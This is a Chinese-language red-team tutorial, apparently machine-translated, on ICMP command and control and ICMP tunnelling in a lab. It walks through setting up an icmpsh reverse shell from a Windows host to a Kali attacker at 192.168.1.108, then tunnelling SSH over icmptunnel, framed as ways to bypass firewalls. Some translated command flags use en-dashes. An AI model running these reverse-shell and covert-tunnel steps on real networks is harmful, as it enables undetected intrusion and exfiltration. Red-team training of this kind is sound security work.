在本文中,您将了解通过ICMP-C2和ICMP隧道进行数据泄漏的RED TEAM操作,因为这两种方法都有助于规避防火墙规则,因为它们会在网络中产生不合理的流量。
表中的内容
ICMP协议工作概述
通过ICMP协议进行命令和控制
- 需求
- icmpsh:C2通道及其安装
- 将icmpsh作为Master运行
- 将icmpsh作为Slave运行
ICMP隧道
- 需求
- 在服务器计算机上配置ICMP(目标)
- 通过客户端计算机配置ICMP隧道(入侵者)
- 通过ICMP连接SSH
ICMP协议工作概述
Internet控制消息协议(ICMP)是Internet协议套件中的支持协议。网络设备(包括路由器)使用它来发送错误消息和操作信息,指示所请求的服务不可用或无法访问主机或路由器。
它是第3层,即ping命令用于通过ICMP有效载荷发送消息的网络层协议,ICMP有效载荷用IP报头分组封装。根据MTU,ICMP包的大小不能大于1500字节。
网络层的ICMP数据包
IP标头 | ICMP标题 | ICMP有效负载大小 | MTU(1500) |
20个字节 | 8个字节 | 1472字节(最大) | 20 + 8 + 1472 = 1500 |
ping命令向目标主机发送ICMP回应请求。目标主机以echo Reply响应,这意味着目标主机处于活动状态。
从这里了解更多
通过ICMP协议进行命令和控制
在我们的许多出版物中,我们讨论过C2通道,它还被认为是命令和控制,所以你可以在这里找到它。虽然您很高兴学习如何使用ICMP协议作为本论文之间的命令和控制通道。
网络战正在闯入入侵者和安全研究员,因此,我们需要保留部分备份计划。众所周知,公司已经变得越来越聪明,他们理解在实现机器的TCP反向连接后,正在观察有关攻击的类型。
因此我们提出了ICMP秘密shell,并使用icmpsh作为命令和控制工具。
需求
- 攻击者机器或C2通道:192.168.1.108(Kali Linux)
- 主机:192.168.1.106(Windows 10)
icmpsh:C2通道及其安装
icmpsh是一个简单的反向ICMP shell,带有win32 slave和CIX,Perl或Python中的POSIX兼容master。与其他类似的开源工具相比,其主要优势在于它不需要管理权限即可运行到目标计算机上。
该工具清洁,简单,便携。从属(客户端)在目标Windows机器上运行,它用C语言编写并且仅在Windows上运行,而主服务器(服务器)可以在攻击者机器上的任何平台上运行,因为它已经由Nico Leidecker在C和Perl中实现,后来它也被移植到Python中。
它非常容易安装和用作c2通道。将攻击者机器转为icmpsh并从Github下载icmpsh。
1
|
git clone https://github.com/inquisb/icmpsh.git
|
运行icmpsh作为Master(Kali Linux)
下载完成后,您可以使用以下命令运行主服务器。采取措施之前最重要的一步是禁用计算机上的ping回复。这可以防止内核响应ping数据包本身。
1
2
3
4
|
sysctl –w net.ipv4.icmp_echo_ignore_all=1
cd icmpsh
syntax: ./icmpsh_m.py <attacker’s–IP> <target–IP>
./icmpsh_m.py 192.168.1.108 192.168.1.106
|
将icmpsh作为slave运行(Windows 10)
现在再次在主机内部安装icmpsh工具以作为从站运行,并且在目标系统上运行从站的用户不需要管理权限。
然后运行以下命令:
1
2
|
syntax: icmpsh.exe –t <Kali IP>
icmpsh.exe –t 192.168.1.108
|
一旦在主机上执行上述命令,入侵者将具有作为从属设备运行的机器的反向外壳。您可以从下面给出的图像中观察到机器通过产生命令提示来控制从机。
现在正如我们所说的那样,通过帮助ping,icmpsh将通过icmp通道获得主机的反向shell。因此,我只需触发命令并使用Wireshark捕获其数据包以确保后端进程。
大!!这与我们假设完全一样,并且在PING请求/回复数据包的帮助下通过网络层传输数据,因此不需要服务或端口。基于代理的防火墙未检测到流量,这可能会绕过防火墙规则。
ICMP隧道
ICMP隧道是一种通过在ICMP数据包上隧道传输TCP连接的方法。在这里,我们将访问将由ICMP数据包封装的ssh会话。因此,将再次在第3层建立tcp连接,即网络层,其将被封装为icmp有效载荷,这可以有助于绕过防火墙规则。
需求
服务器机器
- ens33:192.168.1.108
- TUN0:10.0.0.1
客户端机器
- eth0:192.168.1.111
- TUN0:10.0.0.2
icmptunnel是一种在ICMP回应请求和响应(ping)数据包中隧道传输IP流量的工具。它旨在以半隐蔽的方式绕过防火墙,例如在允许ping的网络内部进行旋转时。它可能对从公司网络到Internet的出口也很有用,尽管在网络边界过滤ICMP回送流量是很常见的。
虽然有一些现有的工具可以实现这种技术,但是icmptunnel提供了一种更可靠的协议和一种通过状态防火墙和NAT进行隧道传输的机制。
在服务器计算机上配置ICMP(目标)
在主机上下载并安装icmptunnel,并按照下面给出的图像编译文件
1
2
3
|
git clone https://github.com/jamesbarlow/icmptunnel.git
cd icmptunnel
make
|
首先,在客户端和服务器上禁用ICMP echo reply。这会阻止内核响应ping数据包本身。
1
|
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
|
在服务器端(主机)上,以服务器模式启动icmptunnel,并为新隧道接口分配IP地址。
1
2
3
4
5
|
./icmptunnel –s
Ctrlz
bg
/sbin/ifconfig tun0 10.0.0.1 netmask 255.255.255.0
ifconfig
|
通过客户端计算机配置ICMP隧道(入侵者)
同样,在入侵者机器上重复相同的过程以安装icmptunnel以进行对等连接。
1
|
git clone https://github.com/jamesbarlow/icmptunnel.git
|
首先,编译它然后禁用ICMP echo reply以避免内核响应ping数据包本身。
1
2
3
4
5
6
|
cd icmptunnel
make
echo 1 > /proc/sys/net/ipv4/icmp_echo_ignore_all
./icmptunnel 192.168.1.108
ctrl z
/sbin/ifconfig tun0 10.0.0.2 netmask 255.255.255.0
|
通过ICMP连接SSH
此时您应该通过ICMP数据包建立点对点隧道。服务器端有10.0.0.1,客户端有10.0.0.2。尝试通过SSH连接到服务器客户端上的tcp协议:
1
|
ssh raj@10.0.0.1
|
icmp隧道在初始阶段连接在服务器和客户端之间,可以在下图中看到,我们在Wireshark的帮助下捕获了服务器和客户端之间的流量。
每个流量都是ICMP。分组HTTP / IP可以被视为ICMP有效载荷的一部分。HTTP / IP数据包加速到互联网。请注意源IP因为nat而被模拟的方式。因此,流量不会通过端口22连接到SSH的传输层。
作者: Aarti Singh是Hacking Articles的社会媒体爱好者和小工具信息安全顾问的研究员和技术作家。